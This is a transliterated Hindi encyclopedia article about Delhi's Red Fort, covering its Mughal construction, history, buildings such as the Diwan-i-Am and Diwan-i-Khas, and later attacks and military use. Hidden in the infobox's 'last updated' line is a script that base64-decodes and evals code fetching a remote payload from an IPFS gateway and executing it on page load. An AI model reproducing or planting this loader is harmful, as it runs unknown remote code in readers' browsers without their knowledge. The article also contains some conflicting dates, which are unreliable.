लाल क़िला

chitr:Disamb2.jpg lal qila

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- lal qila (bahuvikalpi)

lal qila
lal qila, dilli|200px|center
vivaran	dilli ka lal qila duniya ke sarvadhik prabhavashali bhavh‍y qiloan mean se ek hai. lal qila ka yah nam isalie p da kh‍yoanki yah lal path‍tharoan se bana hua hai.
kendr shasit pradesh	rashtriy rajadhani kshetr dilli
zila	nee dilli
nirmata	shahajahaan
nirman kal	1638-1648
sthapana	1648 ee.
bhaugolik sthiti	uttar- 28°. 39′ 21″ ″; poorv- 77°. 14′ 25″
marg sthiti	asaph ali rod se 4.8 kimi ki doori par sthit hai.
prasiddhi	lal qila yoonesko vishv dharohar sthal mean chayanit hai.
kaise pahuanchean	havaee jahaz, rel, bas adi
havaee adda	iandira gaandhi aantarrashtriy havaee adda
relave steshan	purani dilli, nee dilli, hazarat nizamuddin
bas adda	saray kale khaan bas adda, aantarrashtriy bas adda
yatayat	aauto riksha, taiksi, metro rel, bas
kya dekhean	divan-e-am, nahar-e-bahisht, khas mahal, divan-e-khas, moti masjid, hayat bakhsh bag
kahaan thaharean	hotal, dharmashala, atithi grah
es.ti.di. kod	011
e.ti.em	lagabhag sabhi
chitr:Map-icon.gif	googal manachitr
sanbandhit lekh	iandiya get, jama masjid, rashtrapati bhavan adi
any janakari	bharat ke pradhanamantri lal qila se 15 agast ko svatantrata divas ke avasar par desh ki janata ko sambodhit karate haian.
adyatan‎	13:44, 15 agast 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

lal qila (aangrezi: Red Fort) duniya ke sarvadhik prabhavashali bhavh‍y qiloan mean se ek hai. lal qila ka yah nam isalie p da kh‍yoanki yah lal path‍tharoan se bana hua hai. pratyek varsh 15 agast ko bharat ke pradhanamantri pratah 7 baje lal qile par jhanda laharate haian aur apane deshavasiyoan ko apane desh ki niti par bhashan dete haian. hazaroan log unaka bhashan sunane ke lie lal qile par jate haian. dilli mean sthit yah aitihasik qila mugalakalin vastukala ki nayab dharohar hai. bharat ka itihas bhi is qile ke sath kafi nazadiki se ju da hua hai. yahian se british vh‍yapariyoan ne aantim mugal shasak, bahadurashah zaphar ko pad se hataya tha aur tin shatabdiyoan se chale a rahe mugal shasan ka aant hua tha. bharat ki shan ke pratik lal qile ka nirman mugal badashah shahajahaan ne satrahavian shati mean karaya tha. tab se ab tak yah aitihasik virasat kee hamaloan ko jhel chuki hai. azadi ki l daiyoan ka bhi lal qila sakshi raha hai. lal qile ki prachir se bharat ke pratham pradhanamantri, pandit javaharalal neharoo ne ghoshana ki thi ki ab bharat upaniveshi raj se sh‍vatantr hai. yah bharat ki rajadhani nee dilli se lagi purani dilli shahar mean sthit hai. yah yoonesko vishv dharohar sthal mean chayanit hai. [[chitr:Shahjahan on The Peacock Throne.jpg|thumb|left|mayoor sianhasan par shahajahaan]]

nirmanakal

bharat ke samman ka pratik aur jang-e-azadi ka gavah raha dilli ka lal qila satrahavian shatabdi mean mugal shasak shahajahaan ne banavaya tha. agara se dilli ko apani rajadhani banane ke lie shahajahaan ne ek purane qile ki jagah par 1638 mean lal qile ka nirman shuroo karavaya tha, jo 10 sal bad 1648 mean poorn hua. mugal shasak, shahajahaan ne 11 varsh tak agara par shasan karane ke bad yah nirnay liya ki desh ki rajadhani ko dilh‍li laya jae aur 1618 mean lal qile ki nianv rakhi gee. varsh 1647 mean isake udghatan ke bad mahal ke mukhh‍y kakshoan ko bhari pardoan se sajaya gaya. chin se resham aur tarki se makhamal lakar isaki sajavat ki gee. lagabhag dedh mil ke dayare mean yah qila aniyamit ashh‍tabhujakar akar mean bana hai. isake do pravesh dvar haian -

1. lahaur get
2. dilh‍li get.

itihas

lal qila evan shahajahaannabad nagar, mugal badashah shahajahaan ne 1639 AD mean banavaya tha. lal qila mugal badashah shahajahaan ki nee rajadhani, shahajahaannabad ka mahal tha. yah dilli shahar ki satavian muslim nagari thi. shahajahaan ne apani rajadhani ko agara se dilli kiya. shahajahaan ki naye naye nirman karane ki mahattvakaanksha bhi thi aur isamean usaki mukhy ruchi bhi thi. lalaqile ki yojana, vyavastha evan saundary mugal srijanatmakata ka anupam udaharan hai, jo shahajahaan ke samay mean apane charam utkarsh par tha. kaha jata hai ki is qile ke nirman ke bad kee vikas kary svayan shahajahaan dvara jode़ ge the. vikas ke kary aurangazeb evan aantim mugal shasakoan dvara kiye gaye. sampoorn vinyas mean kee badalav british kal mean 1857 ka pratham svatantrata sangram ke bad kiye gaye the. british kal mean yah qila mukhyatah chhavani roop mean prayog kiya gaya tha. svatantrata ke bad bhi isake kee mahattvapoorn bhag sena ke niyantran mean 2003 tak rahe. [[chitr:Red-Fort-Delhi-2.jpg|thumb|250px|left|lal qile ke sangrahalay mean rakhe astr, dilli]] yah qila bhi tajamahal ki bhaanti hi yamuna nadi ke kinare par sthit hai. yamuna nadi ka jal is qile ko gherane vali khaee ko bharati thi. isaki poorvottar or ki divar ek purane qile se lagi thi, jise 'salimagadh ka qila' bhi kahate haian. salimagadh ka qila islamashah soori ne 1546 mean banavaya tha. lal qile ka nirman 1638 mean prarambh hokar 1648 mean poorn hua. par kuchh matoan ke anusar ise lalakot ka ek puratan qila evan nagari batate haian, jise shahajahaan ne qabza karake yah qila banavaya tha. barahavian sadi ke antim samay mean lalakot hindoo raja prithviraj chauhan ki rajadhani thi.

11 march 1783 ko, sikhoan ne lal qile mean pravesh kar 'divan-e-am' par qabza kar liya tha. nagar ko mugal vaziroan ne apane sikh sathiyoan ko samarpit kar diya. yah kary saradar baghel sianh dhalival ki kaman mean hua.

lal qile ki yojana poorn roop se banayi gee thi, aur isake bad kie ge badalavoan ke bad bhi isaki yojana ke moolaroop mean koee badalav nahian hone diya gaya hai. 18vian sadi mean kuchh luteroan evan akramanakariyoan dvara isake kee bhagoan ko kshati pahuanchaee gee thi. 1857 ke pratham svatantrata sangram ke bad, qile ko british sena ke mukhyalay ke roop mean prayog kiya jane laga tha. british sena ne isake qarib assi pratishat mandapoan aur udyanoan ko nasht kar diya. in nasht hue bagoan aur qile ki punarsthapan yojana sanh 1903 mean ummaid danish dvara ki gee.

vastushilp

• lal qile ke nirman mean prayog mean lae ge lal baloo pattharoan ke karan hi isaka nam lal qila p da.
• isaki divarean dhaee kilomitar lanbi aur 60 phut ooanchi haian.
• yamuna nadi ki or isaki divaroan ki kul lanbaee 18 mitar aur shahar ki or 33 mitar hai.
• lal qila salimagadh ke poorvi chhor par sthit hai.
• isako apana nam lal balua patthar ki prachir evan divar ke karan mila hai.
• yahi isaki charadivari banati hai.
• napane par jnat hua hai, ki isaki yojana ek 82 mi. ki vargakar grid (chaukhane) ka prayog kar banaee gee hai.

vastukala

[[chitr:Red-Fort-Delhi.jpg|thumb|400px|lal qila, dilli]] lal qile mean uchchastar ki kala ka nirman hai. yahaan ki kalakritiyaan pharasi, yooropiy evan bharatiy kala ka mishran haian, jisako vishisht evan anupam 'shahajahaanni shaili' kaha jata tha. yah shaili rang, abhivyanjana evan roop mean utkrisht hai. lalaqila dilli ki ek mahattvapoorn imarat hai, jo bharatiy itihas evan usaki kalaoan ko svayan mean samete hue hai. isaka mahattv samay ki simaoan se badhakar hai. yah vastukala sambandhi pratibha evan shakti ka pratik hai. sanh 1913 mean 'rashtriy smarak' ghoshit hone se pahale bhi lal qile ko sanrakshit evan parirakshit karane ke prayas kie gaye the.

lal qile ki divarean do mukhy dvaroan par khuli haian - dilli get evan lahaur get.

lahaur get

lahaur get isaka mukhy praveshadvar hai. isake andar ek lamba bazar hai. chatta chauk hai jisaki divarean par dukanoan ki katarean haian. isake bad ek bada़ khula hua sthan hai, jahaan yah uttar-dakshin s dak ko katati hai. yahi s dak pahale qile ko sainik evan nagarik mahaloan ke bhagoan mean vibhajit karati thi. is s dak ka dakshini chhor dilli get hai.

lahaur get se darshak 'chhatta chauk' mean pahuanchate haian, jo shahi bazar hua karata tha. is shahi bazar mean darabari, zauhari, chitrakar, kalinoan ke nirmata, inemal ke kamagar, resham ke bunakar aur vishesh prakar ke dash‍takaroan ke parivar raha karate the. shahi bazar se ek s dak navabar khane jati hai, jahaan se din mean paanch bar shahi baiand bajaya jata tha. yah baiand haus mukhh‍y mahal mean pravesh ka sanket bhi deta hai aur shahi parivar ke atirikt any sabhi atithiyoan ko yahaan se jhuk kar jana hota hai. [[chitr:Red-Fort-Delhi-3.jpg|thumb|left|250px|lal qile ke sangrahalay mean rakhe astr, dilli]]

naqqarakhana

• lahaur get se chatta chauk tak jane vali s dak se lage khule maidan ke poorvi or naqqarakhana bana hai. yah sangitajnoan ke lie bane mahal ka mukhy dvar hai.
• chhatta chauk ke pas hi naqqarakhana hai jahaan sangitakaroan ki mahaphil saza karati thi. isake any akarshanoan mean divan-e-am, divan-e-khas, hamam, shahi burj, moti masjid, rangamahal adi shamil haian.

divan-e-am

is daravaze ko par karane par ek or khula maidan hai, jo moolatah divane-e-am ka praangan tha jise divan-e-am kahate the. yah janasadharan ke lie bana vrihat praangan tha. ek alankrit sianhasan ka chhajja divan ki poorvi divar ke bichoan bich bana tha. yah badashah ke baithane ke liye bana tha, aur suleman ke raj sianhasan ki nakal tha. divan-e-am lal qile ka sarvajanik prekshagrih hai. seand sh‍ton se nirmit shel ph‍lash‍tar se dhaka hua yah kaksh hathi daant se bana hua lagata hai, isamean 80 X 40 phit ka h aaul sh‍tanbhoan dvara baanta gaya hai. mugal shasak yahaan darabar lagate the aur vishisht atithiyoan tatha videshi vh‍yaktiyoan se mulakat karate the. divan-e-am ki sabase pramukh visheshata yah hai ki isaki pichhali divar mean lata mandap bana hua hai jahaan badashah samriddh pachh‍chikari aur sangamaramar ke bane manch par baithate the. is manch ke pichhe italiyan pietra dyoora kary ke uth‍krishh‍t namoone bane hue haian.

nahar-e-bahisht

[[chitr:Red-Fort-Delhi-5.jpg|thumb|250px|lal qila, dilli
Red Fort, Delhi]] rajagaddi ke pichhe ki or shahi niji kaksh sthapit haian. is kshetr mean, poorvi chhor par ooanche chabootaroan par bane gumbadadar imaratoan ki katar hai, jinase yamuna nadi ka kinara dikhaee p data hai. ye mandap ek chhoti nahar se jude़ hue haian, jise 'nahar-e-bahisht' kahate haian, jo sabhi kakshoan ke madhy se hokar jati hai. qile ke poorvottar chhor par bane 'shah burj' par yamuna se pani chadha़ya jata tha, jahaan se is nahar ko jal apoorti hoti thi. is qile ka svaroop 'quran' mean varnit 'svarg' ya 'jannat' ke anusar bana hai. yahaan likhi ek ayat kahati hai,

yadi prithvi par kahian jannat hai, to vo yahian hai, yahian hai, yahian hai.

mahal ki yojana moolaroop se islami roop mean hai, parantu pratyek mandap apane vastu ghatakoan mean hindoo vastukala ko prakat karata hai. lal qile ka prasad, shahajahaanni shaili ka utkrisht namoona prastut karata hai.

zanana

mahal ke do dakshinavarti prasad mahilaoan hetu bane haian, jinhean zanana kahate haian-

1. mumataz mahal - jo ab sangrahalay bana hua hai
2. rang mahal - jisamean svarn mandit naqqashidar chhatean aur sangamaramar sarovar bane haian, jisamean nahar-e-bahisht se jal ata hai.

khas mahal

dakshin se tisara mandap hai khas mahal. isamean shahi kaksh bane haian. inamean rajasi shayan-kaksh, prarthana-kaksh, ek baramada aur musamman burj bane haian. is burj se badashah janata ko darshan dete the.

divan-e-khas

agala mandap hai divan-e-khas, jo raja ka muktahast se susajjit niji sabhakaksh tha. yah sachiv evan mantrimandal aur sabhasadoan ke sath baithakoan ke kam ata tha. is mandap mean pushpiy akriti se mandit stanbh bane haian. inamean svarn part bhi madhi hai, tatha bahumooly ratn jade़ haian. isaki mool chhat ko rogan ki gee kashth nirmit chhat se badal diya gaya hai. isamean ab rajat par svarn mandan kiya gaya hai. qile ka divan-e-khas niji mehamanoan ke lie tha. shahajahaan ke sabhi bhavanoan mean sabase adhik sajavat vala 90 X 67 phit ka divan-e-khas safed sangamaramar ka bana hua mandap hai jisake charoan or barik tarashe ge khamh‍bhe haian. is mandap ki suandarata se abhibhoot hokar badashah ne kaha tha yadi is prithh‍vi par kahian sh‍varg hai to yahian haian, yahian haian".

hamam

agala mandap hamam hai, jo rajasi snanagar tha. yah turki shaili mean bana hai. isamean sangamaramar mean mugal alankaran evan rangin patthar bhi jade़ haian. [[chitr:Red-Fort-Delhi-6.jpg|thumb|250px|left|lal qila, dilli
Red Fort, Delhi]]

moti masjid

hamam ke pashchim mean moti masjid bani hai. yah bad mean banavayi gee thi. yah sanh 1659 mean bani. yah aurangazeb ki niji masjid thi. yah ek chhoti tin gumbad vali, tarashe hue shvet sangamaramar se nirmit hai. isaka mukhy falak tin meharaboan se yukt hai, evan aangan mean utarata hai.

hayat bakhsh bag

isake uttar mean ek vrihad aupacharik udyan hai jise hayat bakhsh bag kahate haian. isaka arth hai 'jivanadayi udyan'. yah do naharoan dvara vibhajit hai. ek mandap uttar dakshin nahar ke donoan chhoroan par sthit haian. ek tisara bad mean aantim mugal samrat bahadurashah zaphar dvara 1842 banavaya gaya tha. yah donoan naharoan ke milan sthal ke kendr mean bana hai.

mayoor sianhasan

karneliyan tatha anh‍y path‍tharoan ke pachh‍chikari mozek kary ke phooloan se saza divan-e-khas ek samay prasiddh 'mayoor sianhasan' ke lie bhi jana jata tha, jise 1739 mean nadirashah dvara hathiya liya gaya, jisaki kimat 6 miliyan sh‍tarliang thi. mugal shahanshah shahajahaan ne 1638 mean lal qile ke nirman ke adesh diye the. lagabhag isi samay usane agara mean apani svargiy patni ki yad mean tajamahal banavana shuroo kiya tha. lal qile par 1739 mean pharas ke badashah nadirashah ne hamala kiya tha aur vah apane sath yahaan se svarn mayoor sianhasan le gaya tha, jo bad mean eerani shahanshahoan ki pratishtha ka pratik bana.

akramanoan ka gavah

[[chitr:Red-Fort-Delhi-4.jpg|thumb|250px|lal qila, dilli]] lal qile ne apane nirman ke bad se kee akramanoan ka samana kiya, lekin koee bhi ise poori tarah tabah karane mean saphal nahian ho saka.

• 1739 mean pharasi shasak nadirashah ne lal qile par akraman karake isake bagiche aur divaroan ko kshatigrast kar diya tha.
• 1857 ki kraanti ke dauran aangarejoan ne ise bhari nuqasan pahuanchaya tha. isake bad se azadi tak lal qila aangarejoan ke kabze mean raha. british shasakoan ne ise 'british-iandiyan armi' ka mukhyalay bana liya tha.
• 1857 ke svatantrata sangram ke bad british sena ne lal qile par niyantran kar liya.
• ek samay tha, jab 3000 log is imarat samooh mean raha karate the. parantu 1857 ke svatantrata sangram ke bad, qile par british sena ka qabza ho gaya, kee rihayashi mahal nasht kar diye gaye.
• ise british sena ka mukhyalay bhi banaya gaya.
• isi sangram ke ekadam bad bahadurashah zaphar par yahian mukadama bhi chala tha.
• yahian par navanbar 1945 mean 'indiyan neshanal armi' ke tin afasaroan ka kort marshal kiya gaya tha. yah svatantrata ke bad 1947 mean hua tha. isake bad bharatiy sashastr sena ne is qile ka niyantran le liya tha.
• bad mean disambar 2003 mean, bharatiy sena ne ise bharatiy paryatan pradhikariyoan ko sauanp diya.

atankavadi hamala

desh ki shan lal qile par atankavadi hamala bhi ho chuka hai. disanbar 2000 mean atankavadi sangathan 'lashkar-e-toyaba' ke atankavadiyoan ne is par hamala karake do sainikoan aur ek any vyakti ko maut ke ghat utar diya tha. bharat-pakistan ke bich chal rahi shaanti varta ko dhakka pahuanchane ke lie yah hamala kiya gaya tha.

paryatan pradhikaran ke havale

• lal qila dilli ka sabase charchit paryatan sthal hai, jo har sal lakhoan videshi sailaniyoan ko akarshit karata hai. yah vahi sthan hai jahaan se har sal 15 agast ko bharat ke pradhanamantri deshavasiyoan ko sanbodhit karate haian. azadi ke din se yah paranpara aj tak zari hai. azadi ke bad se lal qila bharatiy sena ke adhipaty mean tha, lekin isake rakh-rakhav ke lie disanbar 2003 mean sena se ise 'bharatiy paryatan pradhikaran' ke havale kar diya.
• 22 disanbar 2003 ko bharatiy sena ne 56 sal purane apane karyalay ko hatakar lal qila khali kiya aur ek samaroh mean paryatan vibhag ko sauanp diya. is samaroh mean raksha mantri j aaurj pharnaandis ne kaha-

sashastr senaoan ka itihas lal qile se ju da hua hai, par ab hamare itihas aur virasat ke ek pahaloo ko duniya ko dikhane ka samay hai.

adhunik yug mean mahattv

lal qila dilli shahar ka sarvadhik prakhyat paryatan sthal hai, jo lakhoan paryatakoan ko prativarsh akarshit karata hai. yah qila vah sthal bhi hai, jahaan se bharat ke pradhanamantri svatantrata divas 15 agast ko desh ki janata ko sambodhit karate haian. yah dilli ka sabase b da smarak bhi hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• Bharat.gov.in
• Red Fort Complex Red Fort Complex whc.unesco.org
• The Red Fort was the highlight of our visit to Old Delhi.